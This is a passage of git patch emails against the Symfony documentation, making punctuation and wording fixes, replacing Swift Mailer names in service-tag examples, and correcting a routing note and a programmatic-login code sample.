+        The ``EntityValueResolver`` was introduced in Symfony 6.2.
+
 PSR-7 Objects Resolver:
     Injects a Symfony HttpFoundation ``Request`` object created from a PSR-7 object
     of type :class:`Psr\\Http\\Message\\ServerRequestInterface`,

From 06374e86793bc9bd63365ef0f7a50466b55213cb Mon Sep 17 00:00:00 2001
From: Robin Willig <robin@dragonito.net>
Date: Tue, 6 Dec 2022 19:37:39 +0100
Subject: [PATCH 3947/7107] Add comma

---
 components/validator/resources.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index cd02404f765..7af7d1a4622 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -76,7 +76,7 @@ configure the locations of these files::
 
 .. note::
 
-    If you want to load YAML mapping files then you will also need to install
+    If you want to load YAML mapping files, then you will also need to install
     :doc:`the Yaml component </components/yaml>`.
 
 .. tip::

From bb2cee77f82eeb550f16430edb0bb7b5dadaed80 Mon Sep 17 00:00:00 2001
From: Robin Willig <robin@dragonito.net>
Date: Tue, 6 Dec 2022 20:20:24 +0100
Subject: [PATCH 3948/7107] Some little corrections

---
 README.markdown | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/README.markdown b/README.markdown
index 79e6758c24e..3050aa12301 100644
--- a/README.markdown
+++ b/README.markdown
@@ -24,15 +24,15 @@ Contributing
 ------------
 
 We love contributors! For more information on how you can contribute, please read
-the [Symfony Docs Contributing Guide](https://symfony.com/doc/current/contributing/documentation/overview.html)
+the [Symfony Docs Contributing Guide](https://symfony.com/doc/current/contributing/documentation/overview.html).
 
 **Important**: use `4.4` branch as the base of your pull requests, unless you are
-documenting a feature that was introduced *after* Symfony 4.4 (e.g. in Symfony 5.4).
+documenting a feature that was introduced *after* Symfony 4.4 (e.g., in Symfony 5.4).
 
 Build Documentation Locally
 ---------------------------
 
-This is not needed for contributing, but it's useful if you want to debug some
+This is not needed for contributing, but it's useful if you would like to debug some
 issue in the docs or if you want to read Symfony Documentation offline.
 
 ```bash

From 01041a0b3c4b43e73525a6b37556be50c570f61e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 7 Dec 2022 18:00:18 +0100
Subject: [PATCH 3949/7107] Minor tweak

---
 README.markdown | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.markdown b/README.markdown
index 3050aa12301..b8c8f863b4d 100644
--- a/README.markdown
+++ b/README.markdown
@@ -27,7 +27,7 @@ We love contributors! For more information on how you can contribute, please rea
 the [Symfony Docs Contributing Guide](https://symfony.com/doc/current/contributing/documentation/overview.html).
 
 **Important**: use `4.4` branch as the base of your pull requests, unless you are
-documenting a feature that was introduced *after* Symfony 4.4 (e.g., in Symfony 5.4).
+documenting a feature that was introduced *after* Symfony 4.4 (e.g. in Symfony 5.4).
 
 Build Documentation Locally
 ---------------------------

From 4ceb7733302dfe8d974b89ba8756f02e296fcd49 Mon Sep 17 00:00:00 2001
From: Romain Monteil <monteil.romain@gmail.com>
Date: Thu, 8 Dec 2022 11:56:39 +0100
Subject: [PATCH 3950/7107] [Notifier] Add PushNotificationInterface to the
 list of interfaces to customize a notification

---
 notifier.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 40d3a80a027..d56cd3534c7 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -724,9 +724,10 @@ and its ``asChatMessage()`` method::
     }
 
 The
-:class:`Symfony\\Component\\Notifier\\Notification\\SmsNotificationInterface`
-and
+:class:`Symfony\\Component\\Notifier\\Notification\\SmsNotificationInterface`,
 :class:`Symfony\\Component\\Notifier\\Notification\\EmailNotificationInterface`
+and
+:class:`Symfony\\Component\\Notifier\\Notification\\PushNotificationInterface`
 also exists to modify messages sent to those channels.
 
 Disabling Delivery

From 49e516a25cb77f45b11b9a44615152836fa1920c Mon Sep 17 00:00:00 2001
From: Robin Willig <robin@dragonito.net>
Date: Tue, 6 Dec 2022 19:25:39 +0100
Subject: [PATCH 3951/7107] Better wording

---
 components/validator/metadata.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/validator/metadata.rst b/components/validator/metadata.rst
index 1ab98a590d6..226ffd46b06 100755
--- a/components/validator/metadata.rst
+++ b/components/validator/metadata.rst
@@ -67,7 +67,7 @@ Then, add the Validator component configuration to the class::
 Classes
 -------
 
-Some constraints allow to validate the entire object. For example, the
+Some constraints allow validating the entire object. For example, the
 :doc:`Callback </reference/constraints/Callback>` constraint is a generic
 constraint that's applied to the class itself.
 

From 368ed327bdfe4a5d4ffff2491b165bfa0cb83b69 Mon Sep 17 00:00:00 2001
From: Vincent Amstoutz <vincent.amstoutz@outlook.fr>
Date: Wed, 7 Dec 2022 16:53:24 +0100
Subject: [PATCH 3952/7107] From SwiftMailer to Mailer

---
 service_container/tags.rst | 46 +++++++++++++++++++-------------------
 1 file changed, 23 insertions(+), 23 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 94d7d2036b3..ab1064e4ece 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -161,9 +161,9 @@ all services that were tagged with some specific tag. This is useful in
 compiler passes where you can find these services and use or modify them in
 some specific way.
 
-For example, if you are using Swift Mailer you might imagine that you want
+For example, if you are using the Symfony component Mailer you might imagine that you want
 to implement a "transport chain", which is a collection of classes implementing
-``\Swift_Transport``. Using the chain, you'll want Swift Mailer to try several
+``\MailerTransport``. Using the chain, you'll want Mailer to try several
 ways of transporting the message until one succeeds.
 
 To begin with, define the ``TransportChain`` class::
@@ -180,7 +180,7 @@ To begin with, define the ``TransportChain`` class::
             $this->transports = [];
         }
 
-        public function addTransport(\Swift_Transport $transport): void
+        public function addTransport(\MailerTransport $transport): void
         {
             $this->transports[] = $transport;
         }
@@ -227,7 +227,7 @@ Then, define the chain as a service:
 Define Services with a Custom Tag
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Now you might want several of the ``\Swift_Transport`` classes to be instantiated
+Now you might want several of the ``\MailerTransport`` classes to be instantiated
 and added to the chain automatically using the ``addTransport()`` method.
 For example, you may add the following transports as services:
 
@@ -237,11 +237,11 @@ For example, you may add the following transports as services:
 
         # config/services.yaml
         services:
-            Swift_SmtpTransport:
+            MailerSmtpTransport:
                 arguments: ['%mailer_host%']
                 tags: ['app.mail_transport']
 
-            Swift_SendmailTransport:
+            MailerSendmailTransport:
                 tags: ['app.mail_transport']
 
     .. code-block:: xml
@@ -254,13 +254,13 @@ For example, you may add the following transports as services:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <services>
-                <service id="Swift_SmtpTransport">
+                <service id="MailerSmtpTransport">
                     <argument>%mailer_host%</argument>
 
                     <tag name="app.mail_transport"/>
                 </service>
 
-                <service id="Swift_SendmailTransport">
+                <service id="MailerSendmailTransport">
                     <tag name="app.mail_transport"/>
                 </service>
             </services>
@@ -274,13 +274,13 @@ For example, you may add the following transports as services:
         return function(ContainerConfigurator $configurator) {
             $services = $configurator->services();
 
-            $services->set(\Swift_SmtpTransport::class)
+            $services->set(\MailerSmtpTransport::class)
                 // the param() method was introduced in Symfony 5.2.
                 ->args([param('mailer_host')])
                 ->tag('app.mail_transport')
             ;
 
-            $services->set(\Swift_SendmailTransport::class)
+            $services->set(\MailerSendmailTransport::class)
                 ->tag('app.mail_transport')
             ;
         };
@@ -375,12 +375,12 @@ To begin with, change the ``TransportChain`` class::
             $this->transports = [];
         }
 
-        public function addTransport(\Swift_Transport $transport, $alias): void
+        public function addTransport(\MailerTransport $transport, $alias): void
         {
             $this->transports[$alias] = $transport;
         }
 
-        public function getTransport($alias): ?\Swift_Transport
+        public function getTransport($alias): ?\MailerTransport
         {
             if (array_key_exists($alias, $this->transports)) {
                 return $this->transports[$alias];
@@ -390,7 +390,7 @@ To begin with, change the ``TransportChain`` class::
         }
     }
 
-As you can see, when ``addTransport()`` is called, it takes not only a ``Swift_Transport``
+As you can see, when ``addTransport()`` is called, it takes not only a ``MailerTransport``
 object, but also a string alias for that transport. So, how can you allow
 each tagged transport service to also supply an alias?
 
@@ -402,12 +402,12 @@ To answer this, change the service declaration:
 
         # config/services.yaml
         services:
-            Swift_SmtpTransport:
+            MailerSmtpTransport:
                 arguments: ['%mailer_host%']
                 tags:
                     - { name: 'app.mail_transport', alias: 'smtp' }
 
-            Swift_SendmailTransport:
+            MailerSendmailTransport:
                 tags:
                     - { name: 'app.mail_transport', alias: 'sendmail' }
 
@@ -421,13 +421,13 @@ To answer this, change the service declaration:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <services>
-                <service id="Swift_SmtpTransport">
+                <service id="MailerSmtpTransport">
                     <argument>%mailer_host%</argument>
 
                     <tag name="app.mail_transport" alias="smtp"/>
                 </service>
 
-                <service id="Swift_SendmailTransport">
+                <service id="MailerSendmailTransport">
                     <tag name="app.mail_transport" alias="sendmail"/>
                 </service>
             </services>
@@ -441,13 +441,13 @@ To answer this, change the service declaration:
         return function(ContainerConfigurator $configurator) {
             $services = $configurator->services();
 
-            $services->set(\Swift_SmtpTransport::class)
+            $services->set(\MailerSmtpTransport::class)
                 // the param() method was introduced in Symfony 5.2.
                 ->args([param('mailer_host')])
                 ->tag('app.mail_transport', ['alias' => 'smtp'])
             ;
 
-            $services->set(\Swift_SendmailTransport::class)
+            $services->set(\MailerSendmailTransport::class)
                 ->tag('app.mail_transport', ['alias' => 'sendmail'])
             ;
         };
@@ -463,13 +463,13 @@ To answer this, change the service declaration:
         # config/services.yaml
         services:
             # Compact syntax
-            Swift_SendmailTransport:
-                class: \Swift_SendmailTransport
+            MailerSendmailTransport:
+                class: \MailerSendmailTransport
                 tags: ['app.mail_transport']
 
             # Verbose syntax
-            Swift_SendmailTransport:
-                class: \Swift_SendmailTransport
+            MailerSendmailTransport:
+                class: \MailerSendmailTransport
                 tags:
                     - { name: 'app.mail_transport' }
 

From e3a159f4da10fe6135ee22efb0d7257ef1cc8730 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 8 Dec 2022 12:13:58 +0100
Subject: [PATCH 3953/7107] Minor tweak

---
 service_container/tags.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index ab1064e4ece..9c89ef8c85a 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -161,7 +161,7 @@ all services that were tagged with some specific tag. This is useful in
 compiler passes where you can find these services and use or modify them in
 some specific way.
 
-For example, if you are using the Symfony component Mailer you might imagine that you want
+For example, if you are using the Symfony Mailer component you might want
 to implement a "transport chain", which is a collection of classes implementing
 ``\MailerTransport``. Using the chain, you'll want Mailer to try several
 ways of transporting the message until one succeeds.

From 5cf6f9e38fa847fa109664272d35e80e169a8142 Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Tue, 6 Dec 2022 23:48:58 +0100
Subject: [PATCH 3954/7107] add precision for stopwatch getEvent function

---
 performance.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/performance.rst b/performance.rst
index 1db6359cda0..17c77d7c038 100644
--- a/performance.rst
+++ b/performance.rst
@@ -278,7 +278,7 @@ information about the current event, even while it's still running. This
 object can be converted to a string for a quick summary::
 
     // ...
-    dump((string) $this->stopwatch->getEvent()); // dumps e.g. '4.50 MiB - 26 ms'
+    dump((string) $this->stopwatch->getEvent('export-data')); // dumps e.g. '4.50 MiB - 26 ms'
 
 You can also profile your template code with the :ref:`stopwatch Twig tag <reference-twig-tag-stopwatch>`:
 

From 16fe8bd0cef7bfdcb535e7c0acc517f97e1bea33 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 6 Dec 2022 16:54:26 +0100
Subject: [PATCH 3955/7107] Adding link to Kernel configuration

---
 configuration.rst | 2 ++
 routing.rst       | 8 ++++----
 2 files changed, 6 insertions(+), 4 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 6d2638008fa..d1ae76084a1 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -52,6 +52,8 @@ to change these files after package installation
     :doc:`Symfony Configuration Reference </reference/index>` or run the
     ``config:dump-reference`` command.
 
+.. _configuration-formats:
+
 Configuration Formats
 ~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/routing.rst b/routing.rst
index 1d72af7bbe5..25ee1c2abe6 100644
--- a/routing.rst
+++ b/routing.rst
@@ -183,11 +183,11 @@ the ``BlogController``:
             ;
         };
 
-.. versionadded:: 5.1
+.. note::
 
-    Starting from Symfony 5.1, by default Symfony only loads the routes defined
-    in YAML format. If you define routes in XML and/or PHP formats, update the
-    ``src/Kernel.php`` file to add support for the ``.xml`` and ``.php`` file extensions.
+    By default Symfony only loads the routes defined in YAML format. If you
+    define routes in XML and/or PHP formats, you need to
+    :ref:`update the ``src/Kernel.php`` file <configuration-formats>`.
 
 .. _routing-matching-http-methods:
 

From 483ea4239f6e0cfeb807390a1cfe141c211355af Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 6 Dec 2022 17:52:01 +0100
Subject: [PATCH 3956/7107] Adding default PHP format

Info is taken from https://github.com/symfony/symfony-docs/pull/17515#issuecomment-1339189865
---
 routing.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/routing.rst b/routing.rst
index 7dfdd791eb5..987018a76e7 100644
--- a/routing.rst
+++ b/routing.rst
@@ -151,8 +151,8 @@ the ``BlogController``:
 
 .. note::
 
-    By default Symfony only loads the routes defined in YAML format. If you
-    define routes in XML and/or PHP formats, you need to
+    By default Symfony only loads the routes defined in YAML and PHP format.
+    If you define routes in XML, you need to
     :ref:`update the ``src/Kernel.php`` file <configuration-formats>`.
 
 .. _routing-matching-http-methods:

From 4b3f0475a37efb28403e2165f052a465d49c505c Mon Sep 17 00:00:00 2001
From: Robin Willig <robin@dragonito.net>
Date: Tue, 6 Dec 2022 20:48:13 +0100
Subject: [PATCH 3957/7107] Some text improvements

---
 best_practices.rst | 46 +++++++++++++++++++++++-----------------------
 1 file changed, 23 insertions(+), 23 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 82ebdc94550..cb8825dfc89 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -81,8 +81,8 @@ Configuration
 Use Environment Variables for Infrastructure Configuration
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The values of these options change from one machine to another (e.g. from your
-development machine to the production server) but they don't modify the
+The values of these options change from one machine to another (e.g., from your
+development machine to the production server), but they don't modify the
 application behavior.
 
 :ref:`Use env vars in your project <config-env-vars>` to define these options
@@ -93,7 +93,7 @@ and create multiple ``.env`` files to :ref:`configure env vars per environment <
 Use Secrets for Sensitive Information
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-When your application has sensitive configuration - like an API key - you should
+When your application has sensitive configuration, like an API key, you should
 store those securely via :doc:`Symfony’s secrets management system </configuration/secrets>`.
 
 Use Parameters for Application Configuration
@@ -119,7 +119,7 @@ Then, use just one or two words to describe the purpose of the parameter:
 
     # config/services.yaml
     parameters:
-        # don't do this: 'dir' is too generic and it doesn't convey any meaning
+        # don't do this: 'dir' is too generic, and it doesn't convey any meaning
         app.dir: '...'
         # do this: short but easy to understand names
         app.contents_dir: '...'
@@ -164,7 +164,7 @@ InvoiceBundle, etc. However, a bundle is meant to be something that can be
 reused as a stand-alone piece of software.
 
 If you need to reuse some feature in your projects, create a bundle for it (in a
-private repository, to not make it publicly available). For the rest of your
+private repository, do not make it publicly available). For the rest of your
 application code, use PHP namespaces to organize code instead of bundles.
 
 Use Autowiring to Automate the Configuration of Application Services
@@ -186,14 +186,14 @@ Services Should be Private Whenever Possible
 those services via ``$container->get()``. Instead, you will need to use proper
 dependency injection.
 
-Use the YAML Format to Configure your Own Services
+Use the YAML Format to Configure your own Services
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 If you use the :ref:`default services.yaml configuration <service-container-services-load-example>`,
 most services will be configured automatically. However, in some edge cases
 you'll need to configure services (or parts of them) manually.
 
-YAML is the format recommended to configure services because it's friendly to
+YAML is the format recommended configuring services because it's friendly to
 newcomers and concise, but Symfony also supports XML and PHP configuration.
 
 Use Attributes to Define the Doctrine Entity Mapping
@@ -228,13 +228,13 @@ important parts of your application.
 
 .. _best-practice-controller-annotations:
 
-Use Attributes or Annotations to Configure Routing, Caching and Security
+Use Attributes or Annotations to Configure Routing, Caching, and Security
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Using attributes or annotations for routing, caching and security simplifies
+Using attributes or annotations for routing, caching, and security simplifies
 configuration. You don't need to browse several files created with different
-formats (YAML, XML, PHP): all the configuration is just where you need it and
-it only uses one format.
+formats (YAML, XML, PHP): all the configuration is just where you  require it,
+and it only uses one format.
 
 Don't Use Annotations to Configure the Controller Template
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -271,7 +271,7 @@ Templates
 Use Snake Case for Template Names and Variables
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Use lowercase snake_case for template names, directories and variables (e.g.
+Use lowercase snake_case for template names, directories, and variables (e.g.,
 ``user_profile`` instead of ``userProfile`` and ``product/edit_form.html.twig``
 instead of ``Product/EditForm.html.twig``).
 
@@ -280,7 +280,7 @@ Prefix Template Fragments with an Underscore
 
 Template fragments, also called *"partial templates"*, allow to
 :ref:`reuse template contents <templates-reuse-contents>`. Prefix their names
-with an underscore to better differentiate them from complete templates (e.g.
+with an underscore to better differentiate them from complete templates (e.g.,
 ``_user_metadata.html.twig`` or ``_caution_message.html.twig``).
 
 Forms
@@ -289,7 +289,7 @@ Forms
 Define your Forms as PHP Classes
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Creating :ref:`forms in classes <creating-forms-in-classes>` allows to reuse
+Creating :ref:`forms in classes <creating-forms-in-classes>` allows reusing
 them in different parts of the application. Besides, not creating forms in
 controllers simplify the code and maintenance of the controllers.
 
@@ -301,7 +301,7 @@ button of a form used to both create and edit items should change from "Add new"
 to "Save changes" depending on where it's used.
 
 Instead of adding buttons in form classes or the controllers, it's recommended
-to add buttons in the templates. This also improves the separation of concerns,
+to add buttons in the templates. This also improves the separation of concerns
 because the button styling (CSS class and other attributes) is defined in the
 template instead of in a PHP class.
 
@@ -323,7 +323,7 @@ Use a Single Action to Render and Process the Form
 
 :ref:`Rendering forms <rendering-forms>` and :ref:`processing forms <processing-forms>`
 are two of the main tasks when handling forms. Both are too similar (most of the
-times, almost identical), so it's much simpler to let a single controller action
+time, almost identical), so it's much simpler to let a single controller action
 handle both.
 
 .. _best-practice-internationalization:
@@ -347,8 +347,8 @@ Use Keys for Translations Instead of Content Strings
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Using keys simplifies the management of the translation files because you can
-change the original contents in templates, controllers and services without
-having to update all of the translation files.
+change the original contents in templates, controllers, and services without
+having to update all the translation files.
 
 Keys should always describe their *purpose* and *not* their location. For
 example, if a form has a field with the label "Username", then a nice key
@@ -361,7 +361,7 @@ Define a Single Firewall
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
 Unless you have two legitimately different authentication systems and users
-(e.g. form login for the main site and a token system for your API only), it's
+(e.g., form login for the main site and a token system for your API only), it's
 recommended to have only one firewall to keep things simple.
 
 Additionally, you should use the ``anonymous`` key under your firewall. If you
@@ -389,13 +389,13 @@ Web Assets
 Use Webpack Encore to Process Web Assets
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Web assets are things like CSS, JavaScript and image files that make the
-frontend of your site looks and works great. `Webpack`_ is the leading JavaScript
+Web assets are things like CSS, JavaScript, and image files that make the
+frontend of your site look and work great. `Webpack`_ is the leading JavaScript
 module bundler that compiles, transforms and packages assets for usage in a browser.
 
 :doc:`Webpack Encore </frontend>` is a JavaScript library that gets rid of most
 of Webpack complexity without hiding any of its features or distorting its usage
-and philosophy. It was originally created for Symfony applications, but it works
+and philosophy. It was created for Symfony applications, but it works
 for any application using any technology.
 
 Tests
@@ -453,7 +453,7 @@ public URL changes, users won't be able to browse it unless you set up a
 redirection to the new URL.
 
 That's why it's recommended to use raw URLs in tests instead of generating them
-from routes. Whenever a route changes, tests will fail and you'll know that
+from routes. Whenever a route changes, tests will fail, and you'll know that
 you must set up a redirection.
 
 .. _`Symfony Demo`: https://github.com/symfony/demo

From 9e02e5b87612630f0062d0cf7a124c5769896405 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 8 Dec 2022 14:41:37 +0100
Subject: [PATCH 3958/7107] Tweaks

---
 LICENSE.md                     | 6 +++---
 best_practices.rst             | 8 ++++----
 contributing/code/security.rst | 2 +-
 translation.rst                | 4 ++--
 4 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/LICENSE.md b/LICENSE.md
index 01524e6ec84..547ac103984 100644
--- a/LICENSE.md
+++ b/LICENSE.md
@@ -195,7 +195,7 @@ b. You may Distribute or Publicly Perform an Adaptation only under the terms of:
 (i) this License; (ii) a later version of this License with the same License
 Elements as this License; (iii) a Creative Commons jurisdiction license (either
 this or a later license version) that contains the same License Elements as this
-License (e.g., Attribution-ShareAlike 3.0 US)); (iv) a Creative Commons
+License (e.g. Attribution-ShareAlike 3.0 US)); (iv) a Creative Commons
 Compatible License. If you license the Adaptation under one of the licenses
 mentioned in (iv), you must comply with the terms of that license. If you
 license the Adaptation under the terms of any of the licenses mentioned in (i),
@@ -221,7 +221,7 @@ Collections, You must, unless a request has been made pursuant to Section 4(a),
 keep intact all copyright notices for the Work and provide, reasonable to the
 medium or means You are utilizing: (i) the name of the Original Author (or
 pseudonym, if applicable) if supplied, and/or if the Original Author and/or
-Licensor designate another party or parties (e.g., a sponsor institute,
+Licensor designate another party or parties (e.g. a sponsor institute,
 publishing entity, journal) for attribution ("Attribution Parties") in
 Licensor's copyright notice, terms of service or by other reasonable means, the
 name of such party or parties; (ii) the title of the Work if supplied; (iii) to
@@ -229,7 +229,7 @@ the extent reasonably practicable, the URI, if any, that Licensor specifies to
 be associated with the Work, unless such URI does not refer to the copyright
 notice or licensing information for the Work; and (iv) , consistent with Section
 3(b), in the case of an Adaptation, a credit identifying the use of the Work in
-the Adaptation (e.g., "French translation of the Work by Original Author," or
+the Adaptation (e.g. "French translation of the Work by Original Author," or
 "Screenplay based on original Work by Original Author"). The credit required by
 this Section 4(c) may be implemented in any reasonable manner; provided,
 however, that in the case of a Adaptation or Collection, at a minimum such
diff --git a/best_practices.rst b/best_practices.rst
index cb8825dfc89..32af3400c0a 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -81,7 +81,7 @@ Configuration
 Use Environment Variables for Infrastructure Configuration
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The values of these options change from one machine to another (e.g., from your
+The values of these options change from one machine to another (e.g. from your
 development machine to the production server), but they don't modify the
 application behavior.
 
@@ -271,7 +271,7 @@ Templates
 Use Snake Case for Template Names and Variables
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Use lowercase snake_case for template names, directories, and variables (e.g.,
+Use lowercase snake_case for template names, directories, and variables (e.g.
 ``user_profile`` instead of ``userProfile`` and ``product/edit_form.html.twig``
 instead of ``Product/EditForm.html.twig``).
 
@@ -280,7 +280,7 @@ Prefix Template Fragments with an Underscore
 
 Template fragments, also called *"partial templates"*, allow to
 :ref:`reuse template contents <templates-reuse-contents>`. Prefix their names
-with an underscore to better differentiate them from complete templates (e.g.,
+with an underscore to better differentiate them from complete templates (e.g.
 ``_user_metadata.html.twig`` or ``_caution_message.html.twig``).
 
 Forms
@@ -361,7 +361,7 @@ Define a Single Firewall
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
 Unless you have two legitimately different authentication systems and users
-(e.g., form login for the main site and a token system for your API only), it's
+(e.g. form login for the main site and a token system for your API only), it's
 recommended to have only one firewall to keep things simple.
 
 Additionally, you should use the ``anonymous`` key under your firewall. If you
diff --git a/contributing/code/security.rst b/contributing/code/security.rst
index 7aab51ff919..558f564dfd8 100644
--- a/contributing/code/security.rst
+++ b/contributing/code/security.rst
@@ -152,7 +152,7 @@ score for Impact is capped at 6. Each area is scored between 0 and 4.*
   on an end-users system, or the server that it runs on? (0-4)
 * Availability: Is the availability of a service or application affected? Is
   it reduced availability or total loss of availability of a service /
-  application? Availability includes networked services (e.g., databases) or
+  application? Availability includes networked services (e.g. databases) or
   resources such as consumption of network bandwidth, processor cycles, or
   disk space. (0-4)
 
diff --git a/translation.rst b/translation.rst
index dc5288a09f0..d58b1c6e173 100644
--- a/translation.rst
+++ b/translation.rst
@@ -724,10 +724,10 @@ configure the ``providers`` option:
 
 .. tip::
 
-    If you use Lokalise as provider and a locale format following the `ISO 639-1`_ (e.g., "en" or "fr"),
+    If you use Lokalise as provider and a locale format following the `ISO 639-1`_ (e.g. "en" or "fr"),
     you have to set the `Custom Language Name setting`_ in Lokalise for each of your locales,
     in order to override the default value (which follow the `ISO 639-1`_ succeeded by a sub-code
-    in capital letters that specifies the national variety (e.g., "GB" or "US" according to `ISO 3166-1 alpha-2`_)).
+    in capital letters that specifies the national variety (e.g. "GB" or "US" according to `ISO 3166-1 alpha-2`_)).
 
 Pushing and Pulling Translations
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 7312eba53e0bb28574c16ce40bf52222e60b705f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 8 Dec 2022 16:25:13 +0100
Subject: [PATCH 3959/7107] Minor tweak

---
 security/expressions.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/expressions.rst b/security/expressions.rst
index 338c5c94ab9..e24506b1d0e 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -44,8 +44,8 @@ syntax, see :doc:`/components/expression_language/syntax`.
 Inside the expression, you have access to a number of variables:
 
 ``user``
-    An instance of :class:`Symfony\\Component\\Security\\Core\\User\\UserInterface` that represents the current user
-    or ``null`` if you're not authenticated.
+    An instance of :class:`Symfony\\Component\\Security\\Core\\User\\UserInterface`
+    that represents the current user or ``null`` if you're not authenticated.
 ``role_names``
     An array with the string representation of the roles the user has. This array
     includes any roles granted indirectly via the :ref:`role hierarchy <security-role-hierarchy>` but it

From c654ef82110acb6a7c17b3476028b1d36301390c Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 27 Nov 2022 18:40:39 +0100
Subject: [PATCH 3960/7107] enable_annotations read also attributes

---
 reference/configuration/framework.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 391db4ba386..cb963187290 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2578,7 +2578,7 @@ enable_annotations
 
 **type**: ``boolean`` **default**: ``false``
 
-If this option is enabled, validation constraints can be defined using annotations.
+If this option is enabled, validation constraints can be defined using annotations or attributes.
 
 translation_domain
 ..................
@@ -2787,7 +2787,7 @@ enable_annotations
 
 **type**: ``boolean`` **default**: ``false``
 
-If this option is enabled, serialization groups can be defined using annotations.
+If this option is enabled, serialization groups can be defined using annotations or attributes.
 
 .. seealso::
 

From 4addacde34edd808b60ed540527342062cc0d470 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Fri, 9 Dec 2022 02:31:28 +0100
Subject: [PATCH 3961/7107] [Routing] Fix link text

---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index ec072be817e..9c07a7c66ec 100644
--- a/routing.rst
+++ b/routing.rst
@@ -187,7 +187,7 @@ the ``BlogController``:
 
     By default Symfony only loads the routes defined in YAML format. If you
     define routes in XML and/or PHP formats, you need to
-    :ref:`update the ``src/Kernel.php`` file <configuration-formats>`.
+    :ref:`update the src/Kernel.php file <configuration-formats>`.
 
 .. _routing-matching-http-methods:
 

From b8a7ff82430587f10c9eba7fe07a0ef6dbcfd56b Mon Sep 17 00:00:00 2001
From: Lauri <contact@lauri.xyz>
Date: Fri, 9 Dec 2022 16:04:31 +0200
Subject: [PATCH 3962/7107] Fix "Login Programmatically" code example

---
 security.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/security.rst b/security.rst
index e3a6ccf9038..9e615323bbe 100644
--- a/security.rst
+++ b/security.rst
@@ -1648,16 +1648,16 @@ You can log in a user programmatically using the `login()` method of the
             $user = ...;
 
             // log the user in on the current firewall
-            $this->security->login($user);
+            $security->login($user);
 
             // if the firewall has more than one authenticator, you must pass it explicitly
             // by using the name of built-in authenticators...
-            $this->security->login($user, 'form_login');
+            $security->login($user, 'form_login');
             // ...or the service id of custom authenticators
-            $this->security->login($user, ExampleAuthenticator::class);
+            $security->login($user, ExampleAuthenticator::class);
 
             // you can also log in on a different firewall
-            $this->security->login($user, 'form_login', 'other_firewall');
